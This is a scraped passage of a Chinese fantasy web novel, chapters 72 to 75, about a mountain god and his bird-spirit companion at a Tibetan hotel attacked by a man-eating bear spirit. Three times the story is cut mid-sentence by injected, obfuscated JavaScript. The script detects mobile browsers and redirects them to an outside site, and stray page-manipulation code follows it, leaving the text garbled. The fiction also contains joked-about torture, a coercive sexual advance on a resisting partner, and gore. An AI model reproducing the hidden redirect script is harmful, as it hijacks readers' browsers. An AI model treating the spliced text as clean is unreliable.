时妙原已经不再需要吸氧,他既不说话也不睡觉,就只是怔怔地凝视着远处的雪山。 卓玛拉山依旧遥不可及,而在比她更遥远的地方,还有无数山脊在等待着他们的到来。 前方迎面开来一辆卡车,两车交汇之时,时妙原透过后视镜的反光发现,荣观真一直在默默地凝视着他。 汽车的灯光映亮了山体,而恰巧就在此刻,一大一小两只精瘦的岩羊跳跃着攀上了石坡。 蹦蹦跳跳,蹦蹦跶跶。 风儿在私语,羊羔们的蹄儿踢踏,雪风盘旋在云间,鹫鹰群从山巅飞向了另一个山巅。 汽车尾气如无尽路般蔓延向前方,而不论是山风还是鸟鸣,都无一不在昭告着这样的一条讯息: 来了。 他们来了。 他们终于来了。 他们终于终于……终于要到我这里来了! 72.心有挂碍 (一) “呼——好爽啊!” 时妙原大叫一声,如一滩烂泥般猛地扑在了床上。 晚上十一点半,贡嘎市雪龙庄园酒店。 作为一家主打传统藏式风情的度假酒店,雪龙庄园距今已有近五百年的运营历史了。它最初为当地土司所建,在近几年才被改造成专门的度假圣地。 庄园内部风格极具藏地特色,一进门就可以看见院中高耸的白塔与猎猎飞舞的经幡。进入酒店大堂,最引人注目的当属一口直径有近两米的巨型荷花缸,来到一楼最深处,这里竟还藏了间十分通透的阳光玻璃房。 转经筒在唐卡环绕间静静沉睡,黄铜制的绿度母像垂眸笑得柔和,据服务生介绍,这是专供庄园内部工作人员使用的佛堂。 他们的房间都集中在一楼,彼此之间距离并不算远。临分开前施浴霞对众人交代道:“明早七点楼下集合,时间紧张,今晚记得好好休息。那鸟!你别到处乱跑,小心又缺氧晕倒了。” 时妙原当即立正行礼:“是!奶奶!” 荣承光拖着遥英迅速地跑没了影儿,时妙原随荣观真进入房间,他们分到的是一间极为敞亮的套房。 屋内共有两张大床,墙上挂着一幅日照金山的摄影图片,甜茶在桌上呼呼冒着热气,荣观真抢先一步钻进了浴室,时妙原则脱下外套,三步并作两步蓄力飞扑上了大床。 “呜哇——好软好爽,好舒服啊——!” 他像条刚出水的鲤鱼般在床上打起了滚儿。温暖的阳光气息钻进鼻孔,某一瞬间让他以为自己躺进了稻草堆里。这感觉实在太过美好,要不是荣观真就在一墙之隔洗漱,他肯定说什么也要变回原形好好扑腾上几个来回。 不过,他蛄蛹了没两下,就慢慢消停了下来。 “居然是双床房啊……”时妙原小声嘀咕道,“我还以为今晚能睡一块儿呢。” 一说到双床房,他就想到了最初在休宁城里找到的那间旅舍。 当初,他为了得到住宿机会在藏仙洞拼了老命救人,却至今也没能享受得到沉鸢阁那间免费的双床房。从那时到现在发生了太多事情,而他如今的心境,和刚复活那阵子比起来也已经大不相同了。 说来也是造化弄人,曾经他一心只想着逃离荣观真的领地,却在一次次阴差阳错中被推到了自己最恐惧的人身边。彼时他只觉得自己倒霉,只觉得天道不公,可现在想来……那真的只是命运偶然的戏弄而已吗? 现在再想起来,他对荣观真的感情,也早就和那时大不相同了。 最恐惧的人吗…… 时妙原自嘲地笑了。 “算了,想那么多干嘛。”他把脸埋进了枕头里,“能过一天是一天吧。” 浴室门开了,荣观真穿着一件宽松的丝质浴袍走了出来。经过茶几边上时,他从托盘里顺手拿起了一颗还在滴水的苹果。 “要我帮你吹头发吗?” 时妙原正要自觉去拿吹风筒,荣观真连手都没抬,发梢上的水珠就全都蒸发了个干干净净。 “不是?”时妙原立刻怒从心头起,“你自己明明能弄干,之前为啥非要折腾我?” 荣观真漫不经心地啃了口苹果:“那是你应该的。” “切!娇生惯养的坏神。我不伺候你了,我要去洗澡!在外面跑了一整天,我身上黏黏的难受死了!” 坏神的坏护法当即翻身下床,抱着自己的洗漱用品走向了浴室。可他还没走出几步,就突然想起什么似地定在了原地。 “怎么不动弹了?”荣观真把啃了一半的苹果递到时妙原面前,“你要吃吗?核可以留给你。” 时妙原摇了摇头:“这我就婉拒了哈……不过荣老爷,我是有个问题想问你。” “我不要跟你睡。”荣观真指着靠窗的那张床说,“你睡那里,它刚才被你穿脏衣服躺过了。” “哎哟,我要问的不是这个!” 时妙原放下洗漱用品,像只发现了米缸的老鼠一样小碎步溜达到了荣观真跟前。后者见他表情谄媚,不由得向后退了半步。 “你要干嘛?”荣观真警惕地问。 “我不干嘛!我就是……我就是有件事情想不通,想来征求征求您的意见!”时妙原紧张地搓了搓手,“我问你啊荣老爷,就是说如果,我是说如果!如果你发现身边有人一直在骗你,当然是好心的!只是瞒了你很重要的事情,所以没有对你说真话,假使有朝一日你发现了这件事……你会怎么对待他?” 荣观真微微仰起了下巴:“你又干什么坏事了?” “不是我!” “你拿我的名头去外面招摇撞骗了?” “那绝对没有!” “我知道了,你是不是又偷偷把居星和亭云囤的魔芋爽给吃光了?” “什么?!你是怎么发现的!唉不是,我要问的不是这个!”魔芋爽大盗手忙脚乱地狡辩了起来,“我其实就是突然好奇,然后想听听您的看法而已!这只是一种假设,是假的!编的!不存在的!如有雷同纯属巧合……不对,如果和我有半点关系,我绝对天打雷劈不得好死!” “假设吗……”荣观真陷入了思考。 他低头沉吟片刻,随后对时妙原笑道:“是我的话我会弄死他。” 轰轰。 远方传来两声闷雷,时妙原的笑容僵在了脸上。 “弄,弄死?”他结结巴巴地问。 “对,弄死。哦,也不对,不能直接弄死,那样可太便宜他了。”荣观真双手环胸道,“我会先拔了他的舌头,这样一来他就无法再对我说谎。然后我要挖掉他的眼睛,如此一般他便不能再看到被他所辜负的人。在那之后我会毒哑他的嗓子,烧聋他的耳朵,挖掉他的心肝,从此他就不能再对我有二心,就算到了下面,他也没办法对岱岳大帝或阎王爷说三道四的了。”他笑眯眯地说。 时妙原扑通一声跪倒在了地上。 荣观真赶忙将他扶起:“哎,护法何故行此大礼?” “我……启禀老爷,小的现在要去洗……洗澡了……” 时妙原哆哆嗦嗦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16344145|180435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,战战兢兢,如风中枯叶般从地上爬了起来。他爬到浴室门口,才想起来换洗衣物没拿,于是又像只无头苍蝇似地回头找了起来。 等到他好不容易摸到花洒的开关,那只可怜的苹果已经连核带肉地全进了荣观真的肚子里。 浴室里传来淅淅沥沥的水声,荣观真玩味地看着木门,直到有什么东西从窗缝里飘来,他脸上的笑意才慢慢消退了下去。 来的是两枚花瓣,它们一碰到他的手掌,就很快消失在了空气中。 荣观真皱眉片刻,拿起一件外套就往外走去,但他很快又折返回来敲了敲浴室门:“我出去一趟!” 门开了条缝,时妙原探出半张脸幽幽问道:“出去干嘛?去买拔舌钳吗?” “大半夜的到哪买那玩意儿?我要去找承光谈点事情。”荣观真烦躁地捋了把头发,“大涣寺出事了,我得和他商量一下。” “什么?”时妙原想出来听,吓得荣观真赶忙抵住了门:“站住!你没穿衣服!” 时妙原“哦”了一声。他单把脑袋挤出门缝,湿湿嗒嗒地问:“你家咋了?” 荣观真叹气道:“还记得毕惟尚吗?就是那个据说和我关联紧密实际上屁交流没有一个的祭司。他上次没请出我,这几天又不知道闹什么名堂,非得设坛做法再把我叫出来。亭云和居星刚才请示我要怎么办,我想,这次我确实应该给他点颜色瞧瞧。” “这个好,你也该治治他了。正好借这个机会,你可以挖他的心,拔他的舌头,毒哑他的嗓子然后把他细细切成臊子……” “想什么呢?快去洗澡吧你!我和承光聊聊就好,半小时内一定回来。” “要那么久吗?你不会就这样丢下我不管了吧?”时妙原眼泪汪汪地问道,“说实话,我现在还是感觉头晕,还是总喘不过来气儿,都说在高原洗澡九死一生,你要是离开我太久了,我晕在浴室里可怎么……” “行了行了,你别在这跟我装可怜!”荣观真不耐烦地把这鸟头塞了回去,“二十分钟,我二十分钟就回总可以了吧?” 时妙原小嘴一撇,他还要再抱怨,被荣观真用一颗削好了皮的苹果堵住了嘴巴。 十一点五十五分,雪龙庄园地下一层酒吧。 夜色已深,而这里却才刚迎来一天中最热闹的时刻。 灯光交错,人影重重。驻场乐队在舞台上弹唱着风情万种的小调,舞池里充斥着各色不同口音的谈笑,荣观真披着西装外套在卡座间左右穿梭,最终在吧台边找到了独自畅饮的荣承光。 他的头发还在滴水,黑衬衫的领口低得一眼就能望到最里。有不少人在围在一旁向他搭讪,但他对此连半点反应也都没有。 他的姿态很是放松,看起来就像只刚吃饱喝足的豹子。 荣观真坐定在他身边,荣承光刚扭过头来,就对上了哥哥嫌弃得快要滴出水的表情。 “哟,来了啊,老东西。”他举起酒杯,懒懒地对他打了声招呼。“怎么磨蹭了那么久啊,难不成,你那边也才刚完事儿吗?” 73.心有挂碍 (二) “什么完事不完事的,你在说什么诨话啊?”荣观真露出了厌恶的表情,“荣承光,我看你是一天不挨打就皮痒痒,你究竟还有羞耻心可言吗?” 说来也怪,他一坐下,方才还跃跃欲试要找荣承光要联系方式的顾客就全都作鸟兽散了。 只是他们人虽走了,眼睛却还止不住往这儿瞟。这倒也不难理解,毕竟能见到两个长相近乎一致,气质却千差万别的美男子,不论对当地人还是萍水相逢的游客而言,都绝对可以算得上是一件稀奇事。 荣承光似乎醉了,他看起来难得放松。他抬手准备喊酒保过来,荣观真当即制止了他:“别磨叽,我赶时间。” 墙上的时钟指向零点零分,距离约定的回房时间还剩下十五分钟。荣承光看着他,玩味地说:“这是没喂饱啊,等下还得回去再来一场?” “把衣服给我扣好!”荣观真指着他大敞的衣领说,“你看你这样像什么样子!” 荣承光唰!一下扯开衬衫,露出了浑身精瘦的肌肉。 “哎,有点热。”他拿手扇风道。 金属纽扣叮当落地,周围人爆发出了一阵兴奋的窃语,荣观真深呼吸数次,努力平静地说:“算了,直接进入正题吧,大涣寺那边你准备怎么办?” “大涣寺又不是我的道场,它咋办又关我屁事?”荣承光阴阳怪气地吐了吐舌头,“你说的那个傻逼,他是叫毕惟尚是吧?干脆叫关居星把他做了得了,那小子不是很能的吗。” “不行,他没犯什么大错。” “他那鸟心思都快写到脑门子上了,还叫没做错事?”荣承光翻了个重重的白眼,“是不是非得等他把你神像敲了自己坐上去,你才肯大发慈悲扇他两个耳光啊?你到底动不动手?你不动手,我就找个人把他的修为抽了好了。嗯,不过他有修为吗?” “有是有,但不知道跟的哪条法脉,整个人身上的东西乱得够呛。”荣观真烦躁地敲打着吧台的桌面,“我都不知道他是打哪冒出来的。” “要我说你就是闲得慌,这种东西在你眼前晃你都能忍到现在!算了,你别管了,我今晚就托个梦给他。” 荣承光像只大猫一样将四肢伸展了开来:“哎呀——到时候我去龇个牙,瞪个眼,再用尾巴抽他丫的一顿!我给他腚眼门子都抽烂!我就不信他还敢再犯。” 荣观真皱眉道:“就没有更体面点的办法吗?” “我的好哥哥哎,你的灵体是体面,那谁几把会怕白马入梦啊?!” 荣承光想拍桌子,顾忌到周围有人还是作罢。酒保送来了一整打B52和几大盘小食,他将酒一饮而尽,而后畅快地说:“行了,就这么着吧!你也别对我挤眉弄眼的,这么多年脏活累活全都是我干的,你自个高坐莲台好不快活,在我面前就免装逼了吧。” 荣观真也不再推辞:“那你记得办利索点,别留下什么话柄。” “那够呛,只有死人才不会说话。” 荣承光以雷霆万钧之势嗑完了十几枚瓜子,他问:“还有什么事不?没有我就回了,呸呸。” “有。徐知酬的事你查清楚了没有?” “他啊?也就那样吧。具体的和那死羊头说得差不了太多,反正他家现在确实就只剩下弟弟和妹妹了。徐知元在小公司当职员,那个徐知甄么……好像根本就没有工作。当年害他的那些人确实死光了,乌枫镇就没剩下几个活口,想找人来问都不知道要抓谁。” 荣承光又连吐数枚瓜子壳:“我们这次还会碰见他吗?我觉得他大概率早就死了。” “如果他落到了山羊人手里,那确实是凶多吉少。”荣观真扭头望向墙上的时钟——零点零五分,还有十分钟。 荣承光揶揄道:“哟,这么关心时间,房里人在等啊?” 荣观真反问:“你不也一直在看表么?” “关你屁事,管好你自己。”荣承光咣当把手机塞回了裤兜里,“说起来,那个贡布达瓦跟你怎么聊的?我没加他微信,那老小子总不通过我好友申请。” “他吗?他只说他不知道山羊的事,还有……近期山里雨水多,要我们小心。” “这话讲的,老子还能被水淹死不成。” “多注意点总没有坏处,雨季路确实不好走。” “嘁,我看你是怕雨天路滑,你那小情儿又要抱着翅膀嗷嗷叫吧。”荣承光晃晃悠悠地站了起来,“行了!那就这么办,给毕惟尚托梦,继续找徐知酬,然后多买两把伞,再给那死鸟搞一双耐造的雨靴得了。” 零点十分。荣观真迅速站了起来,他拍拍外套上的灰尘说:“明早七点集合出发,不要迟到。” “老子从不睡懒觉。” “我刚才就想问了,你跟谁自称老子呢?” “陛下教训得是,奴才今晚必睁眼直至天明!” 荣承光像一阵风似地蹿出了好几米,荣观真赶忙叫住他:“对了,你那个护法也要注意……” “注意啥?遥英又怎么你了?”荣承光没好气地说,“你就把心放肚子里吧,他怎么说也比那个姓常的强!而且我会保护好他的,上次的事情纯属意外!” 荣观真欲言又止道:“他要是出事了,你怎么联系他家里人?” “管那么多干嘛,他家里人估计早都死绝了。你啊,我看你还是先别挂念别人家的护法了。”荣承光举起手机说:“还有三分钟哦。” “服务员!打包!”荣承光举手唤来侍应生,他指着桌上的小食说:“牦牛肉干和果盘给我带走,瓜子我也要,酸奶再拿四杯,还有奶片全部都一起放我袋子里!” 荣承光脸色大变:“你大爷的,你是来谈事的还是来抢劫的?!” “别废话,你给不给?” “老不死东西,你香火钱都吃狗肚子里去了吧!” 两人抱着一堆食物骂骂咧咧地离开了。他们同时钻进电梯,同时踏出门外,荣承光袒胸露怀,路上的人看了都唯恐避之不及,他自己倒好像没什么羞耻心。到了亮的地方,荣观真才发现他唇边似乎有伤口——又红又肿,也不知道是被什么东西咬的。 荣观真的嘴角抽搐了两下,没说什么,就只见那傻小子一蹦一跳地跑回了自己房间,临关门前还送了他一个大大的中指。 零点十五分。 “遥英!” 荣承光一脚踹开房门,喜不自胜地说:“刚好二十分钟!我给你带夜宵回来了!老东西磨磨唧唧的害我等了好久,你没着急吧?” “你回来啦!”遥英从满地行李装备中爬起来,满心欣喜地从荣承光手里接过了打包盒:“这么多吃的!你们都聊了什么?” “没聊啥,就大涣寺那点破事,你先别管这个了我靠,这可是我辛辛苦苦从他嘴里掏出来的。快点吃!” “唔,唔唔唔!”遥英嘴巴塞得像仓鼠,他眼尖地发现了荣承光唇边的红点:“你这是怎么了?” “好像有蚊子咬了老子。”荣承光摸了摸嘴角,“很明显吗?刚才我哥也一直盯着我看。” “倒是不明显,就是看起来有点怪怪的……” “哎呀这不重要!东西都收拾完了?我马上来帮你!” 荣承光一头扎进了衣服堆里。他手上挑着东西,嘴里还念念叨叨地说:“我跟你讲,荣观真那王八蛋脾气真的越来越怪了,他现在讲什么我都理解不了!就刚才我问他整理完要带的行李没有,他居然还瞪我,说我不知羞耻!简直莫名其妙。” “吓!这么夸张?你是怎么问他的啊?” “哦,我就问他是不是完事了,还问他有没有给他那护法喂饱饭,结果他就瞪我!搞得我好像干了什么伤风败俗的事儿一样。” “……”遥英沉默片刻,道:“我有六点想说。” “哪六点?” “点点点点点点。” “啥啊,你也莫名其妙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“哎呀,遥英!你怎么跟个小老头似的,成天怕这怕那的啊?你就别担心了,荣观真不会让自己吃亏的!” 荣承光放下手机,无可奈何地说道:“你就等着看吧,他最不能忍受别人背叛自己。那个叫常栖迟的最多也就是被他随便玩玩,他要真敢做什么出格的事,荣观真绝对会把他的皮都给扒下来。” . . 与此同时,隔壁房间。 “你下不下来。” 屋内寒风四起,荣观真的脸色阴沉得能滴出水。 他攥着打包塑料袋,面目狰狞地说:“你再不从我床上下来,信不信我弄死你!” 时妙原用被子把自己裹紧了几分。 他眨着水汪汪的大眼睛哀求道:“不要嘛……人家不想离开被窝……” “可这是我的床!”荣观真一把将被子掀了开来,“你为什么睡我床上?你的头发怎么还在滴水?!你把我枕套都弄湿了,你立刻给我滚下去!” “我不!人家害怕!人家不要一个鸟睡觉!”时妙原像块狗皮膏药似的扒在了荣观真身上,“我离不开你,我就想挨着你!我怕我离你太远,万一我不注意高反死了第二天才被发现怎么办!” “高反死?你还记得你是妖精吗!你到底下不下去?你不下,我就睡另一张……” 另一张床上竟然被踩满了鞋印!荣观真气得仰天长啸:“你这死鸟,你到底要干什么!” “我想和你睡。”时妙原娇滴滴地说。 “不行!” “行不行可由不得你!” 时妙原突然发难,用力把荣观真推倒在床,潇洒地跨坐了上去。 浴袍松松垮垮落下,他闭上眼视死如归地大喊道:“不管你愿不愿意,我今晚都要和你睡觉!小的心仪荣老爷已久,每天对您是茶不思饭不想,您就从了我吧!不然,我就算做了鬼也不会放弃钻你的被窝的!” 74.心有挂碍 (三) 睡袍被强行扒开,映入眼帘的线条令时妙原不自主地咽了口唾沫。 从精壮的胸膛,到肌肉分明的腹部,再往下……他想再往下动作,被猛地扣住了手腕。 “你……你别瞎搞!” 荣观真浑身紧绷,他额头细汗密布,整个人紧张到了极点。而时妙原虽嘴上说得狂放,但其实也没有再继续下去的勇气。 他的指尖距离某个地方只有毫厘之遥,不用看他都知道,再继续往下自己会见到何种光景。 曾几何时,他们对彼此身体的熟悉程度较之自身都还要更甚不少,这也是为什么时妙原现在表面看似坚定,内心却已经开始大喊救命。 他是真的豁出去了。 在荣观真出门的这二十分钟时间里,他迅速地完成了一套逻辑缜密的推断。 时妙原心里十分清楚,对于现在的他而言,接下来的结局无非如下几条而已: 一是不交代身份,等哪天荣观真发现了把他细细地切成臊子。 二是主动坦白身份,然后荣观真勃然大怒手起刀落将他粗粗地切成臊子。 三是深思熟虑谨慎引导,晓之以情动之以理感化荣观真再被他不粗不细地切成臊子。 反正横竖都是一死,他干脆选择了选择风险最高但收益也随之并存的方法。 今天晚上,他说什么都要和荣观真大干一场! ——以自己的屁股为代价的那种。 坦白说,时妙原之前其实已经给了许多暗示,但也不知荣观真是定力太强还是对他忌惮太深,不论他如何暗送秋波,这小老神仙就是死活不愿意上钩。 然而今时不同往日,比起遭荣观真当场剁馅,他更担心的是哪天身份暴露被连本带利一起彻底清算。更何况话都已经说到这个份上了,他都已经骑在荣观真身上了,他都能看见荣观真的……了!他今天,是无论如何也无法回头了! 只要能和荣观真睡上一觉,只要将他们之间的罪恶关系再延续下去,只要把生米煮成熟饭熟米煮成烂饭,荣观真以后就算再想对他翻脸,也多少得念一念旧情吧! 虽然他之前好像也没念过就是了。 “你……”荣观真无力地推了他一下,“你给我下去……” “我不。”时妙原缓缓摇头,“荣老爷,你要是实在不想的话,以你的力气,你现在其实是可以推开我的。” “……” “你不走,那我就当你乐意了啊。” 荣观真的呼吸变得急促了许多,他加重了手上的力道,时妙原虽被他捏得很疼,但他知道,这估计就是他最后的反抗了。 时妙原心一横,将另一只手探到了睡袍底下。 肌肤相贴那刻,他被指尖传来的温度激了个哆嗦。 好烫,就像着火了一样。 他以前的体温有那么高吗? 算了,先别管那么多了,先把他的裤子脱了再说!腰带,腰带在哪里?这裤子好像是松紧绳儿的对吧……是这么拉的吗?不管了! 时妙原想也没想,闭上眼睛咬住眼前的布料,然后用力一扯—— 咚咚咚咚咚! “有人敲门!” 荣观真如触电般弹射起身,他扯着被脱了一半的裤子飞奔下床,像只见了鹰的兔子般逃窜到了门口。 时妙原冷不丁被推了个人仰马翻,他反应半秒后直接大骂出声:“靠!是谁这么不长眼坏老子好事?荣观真?荣观真你别跑啊!你给我回来继续!!!” 这话说得晚了!荣观真砰地踹开房门,屋内霎时灌进了一大口冷风。他飞身钻进走廊,时妙原赶忙跟随出去,却发现外面除了撒腿狂奔的山神老爷以外连半片鬼影子都没有。 不是?他内心大受震撼:这人是不是不行啊?都到这地步了,他居然还能把持得住?! 眼看荣观真就要跑远,时妙原飞奔上去抓住了他的胳膊:“那啥,有话好好说,你别想不开这么大冷天出去啊!你穿得太少了!你——唔唔唔唔?!” 荣观真反手捂住了他的嘴巴。时妙原脑袋一歪不慎向墙倒去,荣观真反应过来,及时把手垫到了他的后脑勺上。 “小点声,”他紧张地说,“有人在敲门!” “哪里有啊?那其实是是风声吧!”时妙原像条胖青虫一样在他手下扭动了起来,“这房子那么老了,从古至今死在这儿的人没有一千也有八百,就算是闹鬼也很正常啊?谁爱敲门那就让他敲就是了!你快跟我回去,我发誓我一定慢慢来,我这次绝对不强迫……” “不是普通的敲门,有东西来了!” “哎?” “但应该不是人。” 时妙原心下一惊——他果真又听见了奇怪的响声。 咚咚咚,啪啪啪。不像是风声,也不是鬼叫,而是某种切实存在的躁动。 现下已近凌晨一点,走廊上根本无人走动,异响来自于庄园前厅,荣观真张望片刻,说:“一起去看看吧。” 他抬腿便走,时妙原赶忙跟上,经过佛堂的时候,他发现那尊黄铜制的绿度母像不知何时扭过了头来。 她直勾勾地盯着他们。 荣观真也注意到了这一点,他伸出手对时妙原说:“抓紧我,别走丢。” 时妙原小碎步跑到了他身边。 “难道说,我们现在已经在幻境里了吗?”他探头探脑地问,“同一招翻来覆去地用,是不是有点缺乏想象力了?” 荣观真沉声道:“目前看来不是,但正因如此才需更谨慎些。毕竟这里有很多住客,波及到普通人可能不好收场……你在干什么?” “在玩你的手手。”时妙原挠了挠他的掌心,“荣老爷手好大哦。” “……你给我撒开!” “我不!是你自己说要牵我的!” 荣观真快步向声源的方向走去,时妙原也紧随其后。经过前台时,他闻见了十分浓烈的青稞酒味。早前引导他们入住的服务生正平躺在行军床上,他脸上盖着毛毯,睡得昏天黑地。 他们绕过小床来到门外,庭院内一片静谧,唯有白塔耸立依旧。时妙原先是跟着穿过了一条木长廊,然后又七拐八拐地绕过了两排转经筒,雪龙庄园的面积之大远超他的想象,大约十分钟后,荣观真在一处白墙边止住了脚步。 敲门声戛然而止,但他们看到了门。 一扇尘封已久的木门。 门上布满了蛛网和灰尘,一看就很久没有被打理过,想来估计也很难再开开了。 “这是干什么用的?”时妙原凑上前去观察了起来。 “是防熊门。”荣观真说。 “防熊门?” “准确来说只有这扇不是,但旁边这些都是用来防熊的。”荣观真指向白墙,时妙原看见了许多样式类似的门。它们看起来十分不自然,都是用颜料画上去的假门。 荣观真解释道:“藏区的熊聪明,会伪装成人靠近落单的牧民,也时常潜入到民居里寻找食物。为了干扰它们的判断,以前藏民便会在外墙上画假门。雪龙庄园历史由来已久,从前估计没少受野兽困扰,我想这些门应该就是那时候遗留下来的。绕着墙找找应该还有很多。” “哎,那我就不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16357963|180435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明白了啊。”时妙原举手提问,“既然是防熊门,那不应该是画在外面的吗?咱们明明在庄园里头,为什么还能看到假门?” “这……” 门边正好有窗,窗外是一片广袤的平原。此地位处近郊,太阳落山后就基本没有人在外面活动了。 时妙原左看右看,没瞧见任何有价值的东西,他回过头去正想对荣观真说些什么,冷不丁发现他正在悄悄扯自己的裤子。 这里光线很暗,但他还是看到了一些十分可观的凸起。 和在房里的时候比起来,那玩意儿的尺寸不仅没有缩小,反而比之前更大了几圈。 时妙原默默扭过了头去。 他又跟着荣观真在门边绕了一会儿,但都没能看出什么眉目。这个点外出搜寻并不现实,再加上敲门声也已经消失,两人稍一合计,决定先打道回府,等天亮再作其余打算。 这回他们不再手牵着手了。荣观真大跨步走在前头,夜风徐徐而来,时妙原感到清醒了不少。 他想起自己刚才在房间里做的事,后知后觉地感到了一阵尴尬。 真是猪油蒙了心,他怎么会有那种想法? 为了活命逼荣观真睡他,这还是正常人能想出来的路子吗?真是日子过得糊涂脑袋也成了浆糊,真把荣观真惹急了,不用等以后,他现在就能被细细粗粗大大小小地切成鸟肉沫子! 好在,荣观真似乎并不准备深究下去。进入大堂之后,他径直走到行军床边推了推那服务生:“你好,你好?” 对方咕哝了两声。 “你好?抱歉打扰,请问能帮我换一下床单吗?我们那有一张床被弄脏了。” “唔!” 服务生一个激灵清醒过来,他扯掉脸上的毛毯,坐直起身,睡眼惺忪地望向了两位来客。 “哦,是客人!是要换布草吗?对不起对不起我喝醉了……我马上……” 荣观真踉跄着后退了两步。 时妙原看清眼前的情景,浑身血液都倒流了半秒。 只见那年轻人缓缓下床,把毛毯随意收拾了两下,又伸了个懒腰,打着哈欠揉了揉眼睛。 然后,他僵在了原地。 过了几秒,他抬起手来,带着些许疑惑望向了自己的手心。 手心里的东西有些难以理解,他对它翻来覆去地看,也不明白自己为什么会见到这般情景。 “哎,为什么,我的手……” 他茫然抬头:“为什么我的手上会有眼睛?” 五目相对瞬间,他脸上最后一小片皮肤啪唧落了下来。 他的脸皮已被全部掀掉,取而代之的是皮下嫩红的鲜肉和深浅不一的牙印。一颗棕褐色的眼珠迷茫地嵌在眼窝之中,另一颗则从他手中掉下,骨碌碌滚到了柜台深处。 几乎同一时间,庄园内外传来了如雷鸣般可怖的嘶吼。大堂前门被人一脚踢开——来的是荣承光,他半裸上身,只穿着条长裤就火急火燎地冲了进来。 他一进门就声嘶力竭地喊道:“快回去!回去!把门都锁上!把住客全部赶走!不要再待在这里了!这里危险!!” 荣观真迎了上去:“发生什么事了?!” “有熊!” “熊?!” “熊!bear!会上树吃人掏心窝子的那种!快逃别傻站着了看我干嘛看外面外面他奶奶个熊的有他爹的熊啊!!!!!” 那服务生直接晕了过去。荣承光看到他的样貌,也被吓得倒吸了几口凉气。就在此时一头有两人高的狗熊破门而入,挥舞着巨掌朝他猛扑了过来。 75.心有挂碍 (四) 荣承光矮身一让,前台的物件瞬间被熊撞了个粉碎。它迅速扭转身体又再向他冲去,就在此时荣观真并拢两指厉声喝道:“给我停!” 山神言出法随,那熊即刻僵在了原地。它虽不得动弹,那黑豆似的眼睛却还紧盯着在场众人,里头的渴望几乎满溢了出来。 啪嗒,啪嗒。污血与淡黄色的脂肪条从它的嘴角落下,它们恐怕都来自于那位可怜的服务生。 时妙原把这倒霉孩子半抱起来,用手掌轻轻覆住了他的面庞。 一阵柔光闪过,很快,那张被吃得只剩下了半层的脸蛋就恢复了原貌。 这是个勉强还算清秀的藏族青年。他的皮肤黝黑,眉毛浓密,看着最多才刚成年,估计是夜班值守时喝多了酒,竟在睡梦中无声无息地遭了重。 时妙原左看右看,都觉得哪里不太对劲。他盯着他的脸苦思冥想了半分多钟,才恍然大悟道: “哦,差了这个!” 他从柜台下扒拉眼珠,将它稳稳当当地安了回去。 见到那张曾被自己吞吃的人脸,狗熊的喉管里发出了一阵低吼。荣承光跑到荣观真身边,他还没来得及开口就遭到劈头盖脸一顿臭骂:“你怎么连衣服都没穿就跑出来了?!” “现在是关心这个的时候吗?你就不好奇熊是哪来的啊我靠!”荣承光气急败坏地喊道,“我刚才正准备睡觉,就听见外面有动静,帘子一掀结果看到这玩意在盯着老子!我先把它引开了,遥英在附近查看情况,这也太抽象了,这还是21世纪吗?为什么我会在城市里看到这种东西啊!!!!!” 荣观真怒斥道:“别叫了!嗓门大得跟驴似的喊得我耳朵疼!” “你们都在这干什么呢!” 施浴霞也从房间里跑了出来,她一看见狗熊就面色大骇道:“我靠!这里怎么会有这玩意?!” “你看,她也叫!”荣承光一跃而起,被荣观真一掌击中后脑勺,嗷嗷呜呜地蹲到了地上。 收拾完弟弟之后,荣观真对施浴霞解释道:“熊是突然出现的,它刚才伤了人,不过已经治好了。我们得把它给送回去,但首先得搞清楚它是从哪来……” “是从防熊门来的。”时妙原说。 “什么?”众人纷纷望向了他。 “你还记得我们之前发现的那些防熊门吗?我觉得它就是从那里过来的。”他对荣观真分析道,“我当时就奇怪,为什么假门会画在庄园内部,这和防熊的本意根本背道而驰。而且你可能没注意,但我在门上感受到了一点法力波动……它身上也有类似的气息。” 时妙原走到狗熊面前,冲它努力仰起了头。 那熊见到他来,示威似地露出了满口褐黄的尖牙。 一股恶臭直冲面门而来,那是人肉和腐化发酵而出的烂气。 狗熊面露凶光,时妙原歪着脑袋打量片刻,也咧开嘴对它露出了一个灿烂无比的笑容。 在旁人看不到的地方,他的瞳孔中掠过了一抹耀眼夺目的金色。 虽然只有一点,虽然转瞬即逝,但那是如假包换的,来自远古神兽的威胁。 “嗷呜……”那熊突然耷拉下了耳朵。要不是还被荣观真定着,它现在很有可能已经缩成了一团。 荣承光好奇问:“哎?它怎么好像有点怕你?” 时妙原转身说道:“它应该是附近山中的精怪,不知怎么误入了人类的传送法阵,才闹出了这些乱子。此地山脉众多,地势复杂,最容易生出这类东西,要我猜,那些门很有可能本来是给别人……” 他还没说完,荣观真突然脸色一变:“当心!” 什么?耳旁袭来一阵劲风,时妙原回过头去,那熊竟挣脱定身,对他高高挥起了右掌! 